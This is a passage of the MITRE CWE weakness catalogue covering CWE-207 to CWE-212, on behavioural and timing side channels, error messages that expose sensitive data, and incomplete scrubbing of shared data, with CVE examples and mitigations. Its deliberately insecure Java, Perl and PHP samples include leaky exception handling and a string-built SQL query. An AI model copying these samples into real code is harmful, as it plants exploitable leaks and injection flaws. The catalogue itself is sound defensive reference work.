Setup generic response pages for error conditions. The error page should not disclose information about the success or failure of a sensitive operation. For instance, the login page should not confirm that the login is correct and the password incorrect. The attacker who tries

random account name may be able to guess some of them. Confirming that the account exists would make the login page more susceptible to brute force attack.

Observed Examples

Reference	Description
CVE-2002-2031	File existence via infoleak monitoring whether "onerror" handler fires or not. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-2031*
CVE-2005-2025	Valid groupname enumeration via behavioral infoleak (sends response if valid, doesn't respond if not). *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2025*
CVE-2001-1497	Behavioral infoleak in GUI allows attackers to distinguish between alphanumeric and non-alphanumeric characters in a password, thus reducing the search space. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1497*
CVE-2003-0190	Product immediately sends an error message when user does not exist instead of waiting until the password is provided, allowing username enumeration. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0190*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	967	SFP Secondary Cluster: State Disclosure	888	1943

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Internal behavioral inconsistency infoleak

CWE-207: Observable Behavioral Discrepancy With Equivalent Products

Weakness ID : 207 **Status:** Draft
Structure : Simple
Abstraction : Variant

Description

The product operates in an environment in which its existence or specific identity should not be known, but it behaves differently than other products with equivalent functionality, in a way that is observable to an attacker.

Extended Description

For many kinds of products, multiple products may be available that perform the same functionality, such as a web server, network interface, or intrusion detection system. Attackers often perform "fingerprinting," which uses discrepancies in order to identify which specific product is in use. Once the specific product has been identified, the attacks can be made more customized and efficient. Often, an organization might intentionally allow the specific product to be identifiable. However, in some environments, the ability to identify a distinct product is unacceptable, and it is expected that every product would behave in exactly the same way. In these more restricted environments, a behavioral difference might pose an unacceptable risk if it makes it easier to identify the product's vendor, model, configuration, version, etc.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	205	Observable Behavioral Discrepancy	485

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality Access Control	Read Application Data Bypass Protection Mechanism	

Observed Examples

Reference	Description
CVE-2002-0208	Product modifies TCP/IP stack and ICMP error messages in unusual ways that show the product is in use. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0208*
CVE-2004-2252	Behavioral infoleak by responding to SYN-FIN packets. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-2252*
CVE-2000-1142	Honeypot generates an error with a "pwd" command in a particular directory, allowing attacker to know they are in a honeypot system. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-1142*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	967	SFP Secondary Cluster: State Disclosure	888	1943

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			External behavioral inconsistency infoleak

CWE-208: Observable Timing Discrepancy

Weakness ID : 208 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

Two separate operations in a product require different amounts of time to complete, in a way that is observable to an actor and reveals security-relevant information about the state of the product, such as whether a particular operation was successful or not.

Extended Description

In security-relevant contexts, even small variations in timing can be exploited by attackers to indirectly infer certain details about the product's internal operations. For example, in some

cryptographic algorithms, attackers can use timing differences to infer certain properties about a private key, making the key easier to guess. Timing discrepancies effectively form a timing side channel.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	203	Observable Discrepancy	478
ParentOf	B	1254	Incorrect Comparison Logic Granularity	1783
CanPrecede	C	327	Use of a Broken or Risky Cryptographic Algorithm	720
CanPrecede	B	385	Covert Timing Channel	842

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1012	Cross Cutting	1967

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	199	Information Management Errors	1852

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality Access Control	Read Application Data Bypass Protection Mechanism	

Observed Examples

Reference	Description
CVE-2003-0078	SSL implementation does not perform a MAC computation if an incorrect block cipher padding is used, which causes an information leak (timing discrepancy) that may make it easier to launch cryptographic attacks that rely on distinguishing between padding and MAC verification errors, possibly leading to extraction of the original plaintext, aka the "Vaudenay timing attack." *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0078*
CVE-2000-1117	Virtual machine allows malicious web site operators to determine the existence of files on the client by measuring delays in the execution of the getSystemResource method. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-1117*
CVE-2003-0637	Product uses a shorter timeout for a non-existent user than a valid user, which makes it easier for remote attackers to guess usernames and conduct brute force password guessing. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0637*
CVE-2003-0190	Product immediately sends an error message when a user does not exist, which allows remote attackers to determine valid usernames via a timing attack. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0190*

Reference	Description
CVE-2004-1602	FTP server responds in a different amount of time when a given username exists, which allows remote attackers to identify valid usernames by timing the server response. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1602*
CVE-2005-0918	Browser allows remote attackers to determine the existence of arbitrary files by setting the src property to the target filename and using Javascript to determine if the web page immediately stops loading, which indicates whether the file exists or not. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-0918*

Functional Areas

- Cryptography
- Authentication

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	967	SFP Secondary Cluster: State Disclosure	888	1943

Notes

Relationship

Often primary in cryptographic applications and algorithms.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Timing discrepancy infoleak

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
462	Cross-Domain Search Timing

CWE-209: Generation of Error Message Containing Sensitive Information

Weakness ID : 209 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The software generates an error message that includes sensitive information about its environment, users, or associated data.

Extended Description

The sensitive information may be valuable information on its own (such as a password), or it may be useful for launching other, more serious attacks. The error message may be created in different ways:

- self-generated: the source code explicitly constructs the error message and delivers it
- externally-generated: the external environment, such as a language interpreter, handles the error and constructs its own message, whose contents are not under direct control by the programmer

An attacker may use the contents of error messages to help launch another, more focused attack. For example, an attempt to exploit a path traversal weakness (CWE-22) might yield the full pathname of the installed application. In turn, this could be used to select the proper number of ".." sequences to navigate to the targeted file. An attack using SQL injection (CWE-89) might not initially succeed, but an error message could reveal the malformed query, which would expose query logic and possibly even passwords or other sensitive information used within the query.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	755	Improper Handling of Exceptional Conditions	1389
ChildOf	C	200	Exposure of Sensitive Information to an Unauthorized Actor	466
ParentOf	B	210	Self-generated Error Message Containing Sensitive Information	496
ParentOf	B	211	Externally-Generated Error Message Containing Sensitive Information	498
ParentOf	V	550	Server-generated Error Message Containing Sensitive Information	1123
CanFollow	B	600	Uncaught Exception in Servlet	1193
CanFollow	B	756	Missing Custom Error Page	1390

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ChildOf	C	200	Exposure of Sensitive Information to an Unauthorized Actor	466

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1015	Limit Access	1970

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	199	Information Management Errors	1852
MemberOf	C	389	Error Conditions, Return Values, Status Codes	1863

Weakness Ordinalities

Primary :

Resultant :

Applicable Platforms

Language : PHP *(Prevalence = Often)*

Language : Java *(Prevalence = Often)*

Language : Language-Independent *(Prevalence = Undetermined)*

Likelihood Of Exploit

High

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data *Often this will either reveal sensitive information which may be used for a later attack or private information stored in the server.*	

Detection Methods

Manual Analysis

This weakness generally requires domain-specific interpretation using manual analysis. However, the number of potential error conditions may be too large to cover completely within limited time constraints.

Effectiveness = High

Automated Analysis

Automated methods may be able to detect certain idioms automatically, such as exposed stack traces or pathnames, but violation of business rules or privacy requirements is not typically feasible.

Effectiveness = Moderate

Automated Dynamic Analysis

This weakness can be detected using dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results. Error conditions may be triggered with a stress-test by calling the software simultaneously from a large number of threads or processes, and look for evidence of any unexpected behavior.

Effectiveness = Moderate

Manual Dynamic Analysis

Identify error conditions that are not likely to occur during normal usage and trigger them. For example, run the program under low memory conditions, run with insufficient privileges or permissions, interrupt a transaction before it is completed, or disable connectivity to basic network services such as DNS. Monitor the software for any unexpected behavior. If you trigger an unhandled exception or similar error that was discovered and handled by the application's environment, it may still indicate unexpected conditions that were not handled by the application itself.

Potential Mitigations

Phase: Implementation

Ensure that error messages only contain minimal details that are useful to the intended audience, and nobody else. The messages need to strike the balance between being too cryptic and not being cryptic enough. They should not necessarily reveal the methods that were used to determine the error. Such detailed information can be used to refine the original attack to increase the chances of success. If errors must be tracked in some detail, capture them in log messages - but consider what could occur if the log messages can be viewed by attackers. Avoid recording highly sensitive information such as passwords in any form. Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a username is valid or not.

Phase: Implementation

Handle exceptions internally and do not display errors containing potentially sensitive information to a user.

Phase: Implementation

Strategy = Attack Surface Reduction

Use naming conventions and strong types to make it easier to spot when sensitive data is being used. When creating structures, objects, or other complex entities, separate the sensitive and non-sensitive data as much as possible.

Effectiveness = Defense in Depth

This makes it easier to spot places in the code where data is being used that is unencrypted.

Phase: Implementation

Phase: Build and Compilation

Strategy = Compilation or Build Hardening

Debugging information should not make its way into a production release.

Phase: Implementation

Phase: Build and Compilation

Strategy = Environment Hardening

Debugging information should not make its way into a production release.

Phase: System Configuration

Where available, configure the environment to use less verbose error messages. For example, in PHP, disable the display_errors setting during configuration, or at runtime using the error_reporting() function.

Phase: System Configuration

Create default error pages or messages that do not leak any information.

Demonstrative Examples

Example 1:

In the following example, sensitive information might be printed depending on the exception that occurs.

Example Language: Java *(bad)*

```
try {
    /.../
}
catch (Exception e) {
    System.out.println(e);
}
```

If an exception related to SQL is handled by the catch, then the output might contain sensitive information such as SQL query structure or private information. If this output is redirected to a web user, this may represent a security problem.

Example 2:

This code tries to open a database connection, and prints any exceptions that occur.

Example Language: Java *(bad)*

```
try {
    openDbConnection();
}
//print exception message that includes exception message and configuration file location
catch (Exception $e) {
    echo 'Caught exception: ', $e->getMessage(), '\n';
    echo 'Check credentials in config file at: ', $Mysql_config_location, '\n';
}
```

If an exception occurs, the printed message exposes the location of the configuration file the script is using. An attacker can use this information to target the configuration file (perhaps exploiting a Path Traversal weakness). If the file can be read, the attacker could gain credentials for accessing the database. The attacker may also be able to replace the file with a malicious one, causing the application to use an arbitrary database.

Example 3:

The following code generates an error message that leaks the full pathname of the configuration file.

Example Language: Perl *(bad)*

```
$ConfigDir = "/home/myprog/config";
$uname = GetUserInput("username");
# avoid CWE-22, CWE-78, others.
ExitError("Bad hacker!") if ($uname !~ /^\w+$/);
$file = "$ConfigDir/$uname.txt";
if (! (-e $file)) {
    ExitError("Error: $file does not exist");
}
...
```

If this code is running on a server, such as a web application, then the person making the request should not know what the full pathname of the configuration directory is. By submitting a username that does not produce a $file that exists, an attacker could get this pathname. It could then be used to exploit path traversal or symbolic link following problems that may exist elsewhere in the application.

Example 4:

In the example below, the method getUserBankAccount retrieves a bank account object from a database using the supplied username and account number to query the database. If an SQLException is raised when querying the database, an error message is created and output to a log file.

Example Language: Java *(bad)*

```
public BankAccount getUserBankAccount(String username, String accountNumber) {
    BankAccount userAccount = null;
    String query = null;
    try {
        if (isAuthorizedUser(username)) {
            query = "SELECT * FROM accounts WHERE owner = "
            + username + " AND accountID = " + accountNumber;
            DatabaseManager dbManager = new DatabaseManager();
            Connection conn = dbManager.getConnection();
            Statement stmt = conn.createStatement();
            ResultSet queryResult = stmt.executeQuery(query);
            userAccount = (BankAccount)queryResult.getObject(accountNumber);
        }
    } catch (SQLException ex) {
        String logMessage = "Unable to retrieve account information from database,\nquery: " + query;
        Logger.getLogger(BankManager.class.getName()).log(Level.SEVERE, logMessage, ex);
    }
    return userAccount;
}
```

The error message that is created includes information about the database query that may contain sensitive information about the database or query logic. In this case, the error message will expose the table name and column names used in the database. This data could be used to simplify other attacks, such as SQL injection (CWE-89) to directly access the database.

Observed Examples

Reference	Description
CVE-2008-2049	POP3 server reveals a password in an error message after multiple APOP commands are sent. Might be resultant from another weakness. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-2049
CVE-2007-5172	Program reveals password in error message if attacker can trigger certain database errors. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-5172
CVE-2008-4638	Composite: application running with high privileges (CWE-250) allows user to specify a restricted file to process, which generates a parsing error that leaks the contents of the file (CWE-209). https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4638
CVE-2008-1579	Existence of user names can be determined by requesting a nonexistent blog and reading the error message. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1579
CVE-2007-1409	Direct request to library file in web application triggers pathname leak in error message. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-1409
CVE-2008-3060	Malformed input to login page causes leak of full path when IMAP call fails. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-3060
CVE-2005-0603	Malformed regexp syntax leads to information exposure in error message. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-0603
CVE-2017-9615	verbose logging stores admin credentials in a world-readablelog file https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-9615
CVE-2018-1999036	SSH password for private key stored in build log https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-1999036

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	717	OWASP Top Ten 2007 Category A6 - Information Leakage and Improper Error Handling	629	1872
MemberOf	C	728	OWASP Top Ten 2004 Category A7 - Improper Error Handling	711	1878
MemberOf	C	731	OWASP Top Ten 2004 Category A10 - Insecure Configuration Management	711	1880
MemberOf	C	751	2009 Top 25 - Insecure Interaction Between Components	750	1892
MemberOf	C	801	2010 Top 25 - Insecure Interaction Between Components	800	1894
MemberOf	C	815	OWASP Top Ten 2010 Category A6 - Security Misconfiguration	809	1898
MemberOf	C	851	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 8 - Exceptional Behavior (ERR)	844	1905
MemberOf	C	867	2011 Top 25 - Weaknesses On the Cusp	900	1912
MemberOf	C	880	CERT C++ Secure Coding Section 12 - Exceptions and Error Handling (ERR)	868	1919
MemberOf	V	884	CWE Cross-section	884	2037
MemberOf	C	933	OWASP Top Ten 2013 Category A5 - Security Misconfiguration	928	1931
MemberOf	C	963	SFP Secondary Cluster: Exposed Data	888	1940

Nature	Type	ID	Name	V	Page
MemberOf	C	1032	OWASP Top Ten 2017 Category A6 - Security Misconfiguration	1026	1977

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CLASP			Accidental leaking of sensitive information through error messages
OWASP Top Ten 2007	A6	CWE More Specific	Information Leakage and Improper Error Handling
OWASP Top Ten 2004	A7	CWE More Specific	Improper Error Handling
OWASP Top Ten 2004	A10	CWE More Specific	Insecure Configuration Management
The CERT Oracle Secure Coding Standard for Java (2011)	ERR01-J		Do not allow exceptions to expose sensitive information
Software Fault Patterns	SFP23		Exposed Data

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
7	Blind SQL Injection
54	Query System for Information
214	Fuzzing for garnering J2EE/.NET-based stack traces, for application mapping
215	Fuzzing and observing application log data/errors for application mapping
463	Padding Oracle Crypto Attack

References

[REF-174]Web Application Security Consortium. "Information Leakage". < http://www.webappsec.org/projects/threat/classes/information_leakage.shtml >.

[REF-175]Brian Chess and Jacob West. "Secure Programming with Static Analysis". 2007. Addison-Wesley.

[REF-176]Michael Howard and David LeBlanc. "Writing Secure Code". 1st Edition. 2001 November 3. Microsoft Press.

[REF-44]Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". McGraw-Hill. 2010.

[REF-44]Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". McGraw-Hill. 2010.

[REF-179]Johannes Ullrich. "Top 25 Series - Rank 16 - Information Exposure Through an Error Message". 2010 March 7. SANS Software Security Institute. < http://software-security.sans.org/blog/2010/03/17/top-25-series-rank-16-information-exposure-through-an-error-message >.

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

[REF-18]Secure Software, Inc.. "The CLASP Application Security Process". 2005. < https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf >.

CWE-210: Self-generated Error Message Containing Sensitive Information

Weakness ID : 210 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The software identifies an error condition and creates its own diagnostic or error messages that contain sensitive information.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	209	Generation of Error Message Containing Sensitive Information	490

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1016	Limit Exposure	1971

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	

Potential Mitigations

Phase: Implementation

Phase: Build and Compilation

Strategy = Compilation or Build Hardening

Debugging information should not make its way into a production release.

Phase: Implementation

Phase: Build and Compilation

Strategy = Environment Hardening

Debugging information should not make its way into a production release.

Demonstrative Examples

Example 1:

The following code uses custom configuration files for each user in the application. It checks to see if the file exists on the system before attempting to open and use the file. If the configuration file does not exist, then an error is generated, and the application exits.

Example Language: Perl *(bad)*

```
$uname = GetUserInput("username");
# avoid CWE-22, CWE-78, others.
if ($uname !~ /^\w+$/)
{
    ExitError("Bad hacker!") ;
}
$filename = "/home/myprog/config/" . $uname . ".txt";
if (!(-e $filename))
{
    ExitError("Error: $filename does not exist");
}
```

If this code is running on a server, such as a web application, then the person making the request should not know what the full pathname of the configuration directory is. By submitting a username that is not associated with a configuration file, an attacker could get this pathname from the error message. It could then be used to exploit path traversal, symbolic link following, or other problems that may exist elsewhere in the application.

Observed Examples

Reference	Description
CVE-2005-1745	Infoleak of sensitive information in error message (physical access required). *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1745*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	963	SFP Secondary Cluster: Exposed Data	888	1940

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Product-Generated Error Message Infoleak
Software Fault Patterns	SFP23		Exposed Data

References

[REF-44]Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". McGraw-Hill. 2010.

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

CWE-211: Externally-Generated Error Message Containing Sensitive Information

Weakness ID : 211 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The application performs an operation that triggers an external diagnostic or error message that is not directly generated or controlled by the application, such as an error generated by the programming language interpreter that the software uses. The error can contain sensitive system information.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	209	Generation of Error Message Containing Sensitive Information	490
ParentOf	V	535	Exposure of Information Through Shell Error Message	1107

Nature	Type	ID	Name	Page
ParentOf	V	536	Servlet Runtime Error Message Containing Sensitive Information	1108
ParentOf	V	537	Java Runtime Error Message Containing Sensitive Information	1109

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1016	Limit Exposure	1971

Weakness Ordinalities

Resultant :

Applicable Platforms

Language : PHP *(Prevalence = Often)*

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	

Potential Mitigations

Phase: System Configuration

Configure the application's environment in a way that prevents errors from being generated. For example, in PHP, disable display_errors.

Phase: Implementation

Phase: Build and Compilation

Strategy = Compilation or Build Hardening

Debugging information should not make its way into a production release.

Phase: Implementation

Phase: Build and Compilation

Strategy = Environment Hardening

Debugging information should not make its way into a production release.

Phase: Implementation

Handle exceptions internally and do not display errors containing potentially sensitive information to a user. Create default error pages if necessary.

Phase: Implementation

The best way to prevent this weakness during implementation is to avoid any bugs that could trigger the external error message. This typically happens when the program encounters fatal errors, such as a divide-by-zero. You will not always be able to control the use of error pages, and you might not be using a language that handles exceptions.

Observed Examples

Reference	Description
CVE-2004-1581	chain: product does not protect against direct request of an include file, leading to resultant path disclosure when the include file does not successfully execute. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1581*

Reference	Description
CVE-2004-1579	Single "'" inserted into SQL query leads to invalid SQL query execution, triggering full path disclosure. Possibly resultant from more general SQL injection issue. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1579*
CVE-2005-0459	chain: product does not protect against direct request of a library file, leading to resultant path disclosure when the file does not successfully execute. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-0459*
CVE-2005-0443	invalid parameter triggers a failure to find an include file, leading to infoleak in error message. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-0443*
CVE-2005-0433	Various invalid requests lead to information leak in verbose error messages describing the failure to instantiate a class, open a configuration file, or execute an undefined function. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-0433*
CVE-2004-1101	Improper handling of filename request with trailing "/" causes multiple consequences, including information leak in Visual Basic error message. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1101*

Functional Areas

- Error Handling

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	963	SFP Secondary Cluster: Exposed Data	888	1940

Notes

Relationship

This is inherently a resultant vulnerability from a weakness within the product or an interaction error.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Product-External Error Message Infoleak

CWE-212: Improper Removal of Sensitive Information Before Storage or Transfer

Weakness ID : 212 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The product stores, transfers, or shares a resource that contains sensitive information, but it does not properly remove that information before the product makes the resource available to unauthorized actors.

Extended Description

Resources that may contain sensitive data include documents, packets, messages, databases, etc. While this data may be useful to an individual user or small set of users who share the resource, it may need to be removed before the resource can be shared outside of the trusted group. The process of removal is sometimes called cleansing or scrubbing.

For example, software that is used for editing documents might not remove sensitive data such as reviewer comments or the local pathname where the document is stored. Or, a proxy might not remove an internal IP address from headers before making an outgoing request to an Internet site.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	669	Incorrect Resource Transfer Between Spheres	1307
ParentOf	B	226	Sensitive Information Uncleared in Resource Before Release for Reuse	517
ParentOf	B	1258	Sensitive Information Uncleared During Hardware Debug Flows	1789
CanPrecede	B	201	Exposure of Sensitive Information Through Sent Data	474

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ChildOf	C	669	Incorrect Resource Transfer Between Spheres	1307

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1015	Limit Access	1970

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	199	Information Management Errors	1852

Weakness Ordinalities

Primary :

Resultant :

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Files or Directories Read Application Data *Sensitive data may be exposed to an unauthorized actor in another control sphere. This may have a wide range of secondary consequences which will depend on what data is exposed. One possibility is the exposure of system data allowing an attacker to craft a specific, more effective attack.*	

Potential Mitigations

Phase: Requirements

Clearly specify which information should be regarded as private or sensitive, and require that the product offers functionality that allows the user to cleanse the sensitive information from the resource before it is published or exported to other parties.

Phase: Architecture and Design

Strategy = Separation of Privilege

Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area. Ensure that appropriate compartmentalization is built into the system design and that the compartmentalization serves to allow for and further reinforce privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide when it is appropriate to use and to drop system privileges.

Phase: Implementation

Strategy = Attack Surface Reduction

Use naming conventions and strong types to make it easier to spot when sensitive data is being used. When creating structures, objects, or other complex entities, separate the sensitive and non-sensitive data as much as possible.

Effectiveness = Defense in Depth

This makes it easier to spot places in the code where data is being used that is unencrypted.

Phase: Implementation

Avoid errors related to improper resource shutdown or release (CWE-404), which may leave the sensitive data within the resource if it is in an incomplete state.

Demonstrative Examples

Example 1:

This code either generates a public HTML user information page or a JSON response containing the same user information.

Example Language: PHP *(bad)*

```
// API flag, output JSON if set
$json = $_GET['json']
$username = $_GET['user']
if(!$json)
{
    $record = getUserRecord($username);
    foreach($record as $fieldName => $fieldValue)
    {
        if($fieldName == "email_address") {
            // skip displaying user emails
            continue;
        }
        else{
            writeToHtmlPage($fieldName,$fieldValue);
        }
    }
}
else
{
    $record = getUserRecord($username);
    echo json_encode($record);
}
```

The programmer is careful to not display the user's e-mail address when displaying the public HTML page. However, the e-mail address is not removed from the JSON response, exposing the user's e-mail address.

Observed Examples

Reference	Description
CVE-2005-0406	Some image editors modify a JPEG image, but the original EXIF thumbnail image is left intact within the JPEG. (Also an interaction error). *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-0406*
CVE-2002-0704	NAT feature in firewall leaks internal IP addresses in ICMP error messages. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0704*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	808	2010 Top 25 - Weaknesses On the Cusp	800	1896
MemberOf	C	867	2011 Top 25 - Weaknesses On the Cusp	900	1912
MemberOf	V	884	CWE Cross-section	884	2037
MemberOf	C	963	SFP Secondary Cluster: Exposed Data	888	1940

Notes

Relationship

This entry is intended to be different from resultant information leaks, including those that occur from improper buffer initialization and reuse, improper encryption, interaction errors, and multiple interpretation errors. This entry could be regarded as a privacy leak, depending on the type of information that is leaked.

Relationship

There is a close association between CWE-226 and CWE-212. The difference is partially that of perspective. CWE-226 is geared towards the final stage of the resource lifecycle, in which the resource is deleted, eliminated, expired, or otherwise released for reuse. Technically, this involves a transfer to a different control sphere, in which the original contents of the resource are no longer relevant. CWE-212, however, is intended for sensitive data in resources that are intentionally shared with others, so they are still active. This distinction is useful from the perspective of the CWE research view (CWE-1000).

Terminology

The terms "cleansing" and "scrubbing" have multiple uses within computing. In information security, these are used for the removal of sensitive data, but they are also used for the modification of incoming/outgoing data so that it conforms to specifications.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Cross-Boundary Cleansing Infoleak

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
168	Windows ::DATA Alternate Data Stream

